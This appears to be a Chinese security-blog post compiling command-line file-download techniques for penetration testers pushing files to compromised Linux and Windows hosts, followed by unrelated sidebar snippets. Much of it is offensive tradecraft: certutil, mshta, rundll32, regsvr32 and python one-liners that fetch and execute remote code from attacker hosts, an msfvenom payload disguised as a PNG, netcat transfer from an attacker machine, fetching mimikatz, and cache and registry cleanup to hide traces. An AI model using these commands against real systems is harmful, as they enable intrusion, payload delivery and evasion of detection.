<menu id="guoca"></menu>
<nav id="guoca"></nav><xmp id="guoca">
  • <xmp id="guoca">
  • <nav id="guoca"><code id="guoca"></code></nav>
  • <nav id="guoca"><code id="guoca"></code></nav>

    命令行/終端下載指令大全(Win + Linux)

    VSole2022-03-11 22:42:18

    1. 簡介

    在我們滲透測試的過程中,通常會需要向目標主機傳送一些文件,來達到提權,維持控制等目的。因此當不方便進行直接傳輸時,同時目標主機是能有網絡連接的,那么此時就可以通過本地下載這種方法來達到文件傳輸的目的。此篇文章,我會對互聯網上針對win與linux大部分的下載指令來做一個匯總,可能會有疏漏,但匯總的都是經常會用的。

    2. Linux

    2.1 Wget

    這款工具功能很豐富,可以充當某種功能完備的GUI下載管理器,它擁有一款理想的下載管理器所需要的所有功能,比如它可以恢復下載,可以下載多個文件,出現某個連接問題后,可以重新嘗試下載,你甚至可以管理最大的下載帶寬。

    直接下載:

    wget http://www.sample-videos.com/video/mp4/big.mp4 
    

    后臺下載:

    wget -b http://www.sample-videos.com/video/mp4/big.mp4 
    

    如果互聯網連接出現中斷,恢復下載:

    wget -c http://www.sample-videos.com/video/mp4/big.mp4 
    

    從某個密碼保護的ftp軟件庫下載文件:

    wget --ftp-user=<user_name> --ftp-password=<Give_password> Download-url-address 
    

    2.2 Curl

    Curl是另一種高效的下載工具,它可以用來上傳或下載文件,只要使用一個簡單的命令。它支持暫停和恢復下載程序包,并支持數量最多的Web協議,可預測下載完成還剩余多少時間,可通過進度條來顯示下載進度。它是所有Linux發行版的內置工具。

    直接下載:

    curl -o um.mp4 http://www.sample-videos.com/video/mp4/big.mp4 
    

    借助-o選項,提供名稱,下載文件會以該名稱保存;如使用-O選項,文件就會以原始名稱保存。

    2.3 Axel

    這是wget的出色替代者,是一款輕量級下載實用工具。它實際上是個加速器,因為它打開了多路http連接,可下載獨立文件片段,因而文件下載起來更快速。

    apt-get install axel 
    

    直接下載:

    axel http://www.sample-videos.com/video/mp4/big.mp4 
    

    2.4 Aria2

    這是一種開源命令行下載加速器,支持多個端口,你可以使用最大帶寬來下載文件,是一款易于安裝、易于使用的工具。

    apt-get install aria2 
    

    直接下載:

    aria2c http://www.sample-videos.com/video/mp4/big.mp4 
    

    2.5 Perl

    Perl是一門很吊的語言,使用它基本可以實現任何事情,用它實現文件下載也很簡單。

    #!perl
    #!/usr/bin/perl
    use LWP::Simple;
    getstore("http://domain/file", "file");
    

    執行腳本文件是這樣:

    perl test.pl
    

    2.6 Python

    Python也是很受歡迎的主流腳本語言,代碼清晰且簡潔:

    #!python
    #!/usr/bin/python
    import urllib2
    u = urllib2.urlopen('http://domain/file')
    localFile = open('local_file', 'w')
    localFile.write(u.read())
    localFile.close()
    

    2.7 Ruby

    Ruby是一個面對對象的語言,Metasploit框架就是用它來實現的,當然他也可以實現像下載文件這樣的小任務。

    #!ruby
    #!/usr/bin/ruby
    require 'net/http'
    Net::HTTP.start("www.domain.com") { |http|
    r = http.get("/file")
    open("save_location", "wb") { |file|
    file.write(r.body)
    }
    }
    

    執行腳本文件是這樣;

    ruby test.rb
    

    2.8 PHP

    PHP作為一種服務端腳本,也可以實現下載文件這種功能。

    #!/usr/bin/php
            $data = @file("http://example.com/file");
            $lf = "local_file";
            $fh = fopen($lf, 'w');
            fwrite($fh, $data[0]);
            fclose($fh);
    ?>
    

    執行腳本文件是這樣:

    php test.php
    

    2.9 FTP

    一般情況下攻擊者使用FTP上傳文件需要很多交互的步驟,下面這個 bash 腳本,考慮到了交互的情況,可以直接執行并不會產生交互動作。

    ftp 127.0.0.1
    username
    password
    get file
    exit
    

    當然根據實際情況也可以進入交互終端:

    ftp 192.168.3.2
    輸入用戶名和密碼后
    lcd E:\file # 進入E盤下的file目錄
    cd www # 進入服務器上的www目錄
    get access.log # 將服務器上的access.log下載到E:\file
    

    2.10 Netcat

    攻擊者的電腦上輸入:

    cat file | nc -l 1234
    

    這個命令會將file的內容輸出到本地的1234端口中,然后不論誰連接此端口,file的內容將會發送到連接過來的IP。

    目標電腦上的命令:

    nc host_ip 1234 > file
    

    這條命令將連接攻擊者的電腦,接受file內容保存。

    3. Windows

    3.1 Powershell

    PowerShell 是一種winodws原生的腳本語言,對于熟練使用它的人來說,可以實現很多復雜的功能。

    下面這兩條指令實現了從Internet網絡下載一個文件。

    $p = New-Object System.Net.WebClient
    $p.DownloadFile("http://domain/file" "C:\%homepath%\file")
    

    3.2 IPC$

    copy \192.168.3.1\c$\test.exe E:\file
    cmd.exe /k < \webdavserver\folder\batchfile.txt
    

    3.3 Certutil

    可以應用到: Windows Server 2003, Windows Server 2003 R2, Windows Server 2003 with SP1, Windows Server 2003 with SP2

    certutil -urlcache -split -f http://192.168.3.1/test.exe file.exe
    certutil -urlcache -split -f http://192.168.3.1/test.exe delete      #刪除緩存
    certutil -verifyctl -split -f -split http://192.168.3.1/test.exe
    #此條命令,會將原文件下載成為臨時 bin 文件,把名字改回來一樣可以正常運行
    

    文件下載并執行如下:

    certutil -urlcache -split -f http://site.com/a a.exe && a.exe &&  del a.exe && certutil -urlcache -split -f http://192.168.254.102:80/a delete
    

    3.4 Visual Basic

    在1998年Visual Basic最終標準在windows上確定。下面的代碼可以實現下載文件,雖然它的長度比Powershell長多了。

    Set args = Wscript.Arguments
    Url = "http://domain/file"
    dim xHttp: Set xHttp = createobject("Microsoft.XMLHTTP")
    dim bStrm: Set bStrm = createobject("Adodb.Stream")
    xHttp.Open "GET", Url, False
    xHttp.Send
    with bStrm
        .type = 1 '
        .open
        .write xHttp.responseBody
        .savetofile " C:\%homepath%\file", 2 '
    end with
    

    在windows中Cscript指令可以允許你執行VBS腳本文件或者對script腳本做一些設置。在windows 7中這個指令并不是必須要用到。但是在windows XP中需要使用這條指令,如下所示:

    cscript test.vbs
    

    3.5 Tftp

    在Windows Vista以及以后的版本中默認有FTP,可以使用以下命令運行:

    上傳:

    tftp -i IP地址 PUT C:\%homepath%\file 遠程存放位置
    

    下載:

    tftp -i IP地址 GET C:\%homepath%\file 本地存放位置
    

    3.6 Bitsadmin

    Bitsadmin是Windows命令行工具,用戶可以使用它來創建下載或上傳的任務。只能命令下載到指定路徑上,win7以上:

    bitsadmin /transfer myDownLoadJob /download /priority normal "http://192.168.203.140/b.ps1" "E:\\phpstudy_pro\\WWW\\b.ps1"
    bitsadmin /rawreturn /transfer getfile http://192.168.3.1/test.txt E:\file\test.txt
    bitsadmin /rawreturn /transfer getpayload http://192.168.3.1/test.txt E:\file\test.txt
    

    3.7 msiexec

    msiexec /q /i http://192.168.3.1/calc.png
    calc.png:
    msfvenom -f msi -p windows/exec CMD=calc.exe > cacl.png
    

    3.8 IEExec

    C:\Windows\Microsoft.NET\Framework\v2.0.50727> caspol -s off
    C:\Windows\Microsoft.NET\Framework\v2.0.50727> IEExec http://192.168.3.1/test.exe
    

    3.9 Python

    C:\python27\python.exe -c “import urllib2; exec urllib2.urlopen(‘http://192.168.3.1/test.zip’).read();”
    

    3.10 Mshta

    mshta http://192.168.3.1/run.hta

    run.hta 內容如下:

     
    <meta http-equiv="Content-Type" content="text/html; charset=utf-8">
    <HEAD> 
    <script language="VBScript">
    Window.ReSizeTo 0, 0
    Window.moveTo -2000,-2000
    Set objShell = CreateObject("Wscript.Shell")
    objShell.Run "cmd.exe /c net user" // 這里填寫命令
    self.close
    script>
    <body>
    demo
    body>
    HEAD> 
    HTML>
    mshta vbscript:Close(Execute("GetObject(""script:http://webserver/payload.sct"")"))
    

    3.11 Rundll32

    依賴于WScript.shell這個組件:

    rundll32.exe javascript:"\..\mshtml,RunHTMLApplication ";document.write();h=new%20ActiveXObject("WinHttp.WinHttpRequest.5.1");h.Open("GET","http://127.0.0.1:8081/connect",false);try{h.Send();b=h.ResponseText;eval(b);}catch(e){new%20ActiveXObject("WScript.Shell").Run("cmd /c taskkill /f /im rundll32.exe",0,true);}%
    

    3.12 Regsvr32

    Regsvr32命令用于注冊COM組件,是 Windows 系統提供的用來向系統注冊控件或者卸載控件的命令,以命令行方式運行。

    WinXP及以上系統的regsvr32.exe在windows\system32文件夾下;2000系統的regsvr32.exe在winnt\system32文件夾下。

    regsvr32 /u /s /i:http://192.168.3.1/test.data scrobj.dll
    

    test.data內容:

    <scriptlet>
    <registration
        progid="ShortJSRAT"
        classid="{10001111-0000-0000-0000-0000FEEDACDC}" >
        
        <script language="JScript">
                        ps  = "cmd.exe /c calc.exe";
                new ActiveXObject("WScript.Shell").Run(ps,0,true);
            ]]>
    script>
    registration>
    scriptlet>
    

    還可以利用

    https://github.com/CroweCybersecurity/ps1encode 生成sct文件:

    regsvr32 /u /s /i:http://192.168.3.1/test.sct scrobj.dll
    

    3.13 Windows Share

    Windows shares可以加載一個驅動器,然后用命令來復制文件。

    加載遠程驅動:

    net use x: \\127.0.0.1\share /user:example.com\userID myPassword
    

    3.14 格式轉換

    當需要把一個exe文件放到目標計算機上時,Nishang可以使用PowerShell允許你把一個exe轉換成hex,然后把hex再轉換成原來的exe文件:

    把exe轉成hex文件輸入:

    PS > .\ExetoText.ps1 evil.exe evil.txt
    

    打開evil.txt文件,復制內容,然后通過RDP的剪貼板復制進目標計算機,把hex文件還原成exe文件輸入:

    PS > .\TexttoExe.ps1 evil.text evil.exe
    

    3.15 其它

    1.MSXSL.EXE

    msxsl.exe是微軟用于命令行下處理XSL的一個程序,所以通過他,我們可以執行JavaScript進而執行系統命令。

    2.pubprn.vbs

    在Windows 7以上版本存在一個名為PubPrn.vbs的微軟已簽名WSH腳本,其位于

    C:\Windows\System32\Printing_Admin_Scripts\en-US
    

    3.esentutl.exe/extrac32.exe

    esentutl.exe /y "\\172.16.249.149\share mimikatz_trunk.zip" /d"C:\Users\Public\mimikatz_trunk.zip" /0
    extrac32.exe /Y /C \\172.16.249.149\share\test.txt C:\Users\Public\test.txt
    

    4.desktopimgdownldr.exe

    desktopimgdownldr.exe 位于 Win10 的 system32 文件夾中,原本用于設置鎖定屏幕或桌面背景圖像的。

    普通用戶可以用:

    set "SYSTEMROOT=C:\ProgramData" && cmd /c desktopimgdownldr.exe /lockscreenurl:http://url/xxx.exe /eventName:desktopimgdownldr
    

    這樣來下載文件。

    可以把C:\ProgramData來改成一個普通用戶可寫的目錄。

    下載的文件存放于:

    C:\ProgramData\Personalization\LockScreenImage\x_%random%.exe.
    

    管理員用戶會多寫一個注冊表項,所以管理員最好的命令是:

    set "SYSTEMROOT=C:\ProgramData\" && cmd /c desktopimgdownldr.exe /lockscreenurl:https://url/file.exe /eventName:desktopimgdownldr && reg delete HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\PersonalizationCSP /f
    

    4. 參考鏈接

    https://xz.aliyun.com/t/1654

    https://www.t00ls.net/articles-49501.html

    https://evi1cg.me/archives/remote_exec.html

    https://www.unixmen.com/top-10-command-line-tools-downloading-linux/

    linux服務器linux系統
    本作品采用《CC 協議》,轉載必須注明作者和本文鏈接
    "請用root用戶執行此腳本!#最近啟動時間?#運行時間(天)?#相同ID的用戶?#密碼過期(天)?#允許root遠程登錄?#僵尸進程數量?#自啟動服務數量?"系統巡檢腳本:Version $VERSION"
    Linux的應用越來越普遍,且絕大多數嵌入式系統都使用的是Linux系統。但近期,黑客對Linux服務器進行DDoS攻擊的次數飆升,受DDoS攻擊影響的有70多個國家,其中77%的攻擊都發生在中國,最容易受攻擊的國家還有法國和荷蘭。黑客主要是利用C&C 服務器來集中管理并執行DDoS攻擊,Linux服務器便成了其主要的攻擊目標。面對如此猖獗的黑客攻擊,Linux服務器如何做好預防工作呢?部署
    假如你想要搭建一個Linux服務器,并且希望可以長期維護的話,就需要考慮安全性能與速度等眾多因素。一份正確的linux基本安全配置手冊就顯得格外重要。#為刪除你系統上的用戶,用下面的命令:[root@c1gstudio]# userdel username#批量刪除方式#這里刪除"adm lp sync shutdown halt mail news uucp operator games gopher ftp "賬號#如果你開著ftp等服務可以把ftp賬號保留下來。for i in adm lp sync shutdown halt mail news uucp operator games gopher ftp ;do userdel $i ;done
    #更改SSH端口,最好改為10000以上,別人掃描到端口的機率也會下降。防火墻要開放配置好的端口號,如果是阿里云服務器,你還需要去阿里云后臺配置開發相應的端口才可以,否則登不上哦!如果你覺得麻煩,可以不用改。#禁用版本1協議, 因為其設計缺陷, 很容易使密碼被黑掉。關鍵在于環境變量的不同,su -的環境變量更全面。#禁止空密碼登陸。保存,用 uusama 賬戶登錄后,直接獲取的就是 root 帳號的權限。
    Linux是一種開源操作系統,它支持各種硬件平臺,Linux服務器全球知名,它和Windows之間最主要的差異在于,Linux服務器默認情況下一般不提供GUI(圖形用戶界面),而是命令行界面,它的主要目的是高效處理非交互式進程,響應時間并不是那么重要,相反,能夠長時間處理高負載才是最關鍵的。
    當企業發生網絡安全事件時,急需第一時間進行處理,使企業的網絡信息系統在最短時間內恢復正常工作,同時還需進一步查找入侵來源,還原入侵事故過程,給出解決方案與防范措施,為企業挽回或減少經濟損失。 常見的網絡安全事件:
    SSH 是一種廣泛使用的協議,用于安全地訪問 Linux 服務器。但是,不安全的默認配置也會帶來各種安全風險。具有開放 SSH 訪問權限的服務器的 root 帳戶可能存在風險。因此,有必要了解 SSH 安全性。這是在 Linux 上保護 SSH 服務器連接的方法。關閉 root 用戶的服務器訪問是一種防御策略,可以防止攻擊者實現入侵系統的目標。例如,您可以創建一個名為exampleroot的用戶,如下所示:useradd?
    如果你的Linux服務器突然負載暴增,告警短信快發爆你的手機,如何在最短時間內找出Linux性能問題所在?來看Netflix性能工程團隊的這篇博文,看它們通過十條命令在一分鐘內對機器性能問題進行診斷。概述 通過執行以下命令,可以在1分鐘內對系統資源使用情況有個大致的了解。
    VSole
    網絡安全專家
      亚洲 欧美 自拍 唯美 另类